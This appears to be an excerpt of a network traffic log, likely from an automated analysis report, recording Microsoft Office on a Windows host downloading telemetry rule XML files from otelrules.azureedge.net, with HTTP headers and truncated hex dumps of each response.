2024-11-23 14:38:19 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:18 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:19 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: cb244ee5-a01e-003d-2a49-3c98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143819Z-15b8b599d882zv28hC1TEBdchn00000002w000000000ewfn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:19 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:19 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:20 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143820Z-174c587ffdf6b487hC1TEBydsn000000030g0000000096gv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:20 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:20 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 270c2d5d-601e-00ab-2f8c-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143820Z-174c587ffdfb74xqhC1TEBhabc00000002yg00000000n5t5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:20 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:20 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143820Z-178bfbc474bfw4gbhC1NYCunf400000004hg00000000durq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:20 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:21 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:21 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d606dcfe-601e-003e-695e-3b3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143821Z-178bfbc474bmqmgjhC1NYCy16c00000004q0000000007q4u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:21 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:21 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:21 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 4c6a8f70-a01e-000d-057c-3bd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143821Z-174c587ffdf7t49mhC1TEB4qbg000000031g000000004wpc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:21 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:22 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:22 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 9403c66c-f01e-0052-600e-3d9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143822Z-178bfbc474bh5zbqhC1NYCkdug00000004m0000000003r94 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:22 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:22 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:23 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:23 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 15687058-401e-005b-477d-3b9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143823Z-174c587ffdfmlsmvhC1TEBvyks00000003a0000000001at4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:23 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:22 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:23 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:23 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 2e331142-b01e-001e-697c-3b0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143823Z-174c587ffdfcj798hC1TEB9bq4000000034000000000pbmw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 14:38:23 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:23 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:23 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:23 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 36815d12-601e-0070-4763-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143823Z-178bfbc474bnwsh4hC1NYC2ubs00000004sg000000001h6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:23 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:23 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:23 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:23 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: afa98cfc-701e-003e-2a3c-3c79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143823Z-178bfbc474bscnbchC1NYCe7eg00000004u0000000004335 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:23 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:24 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
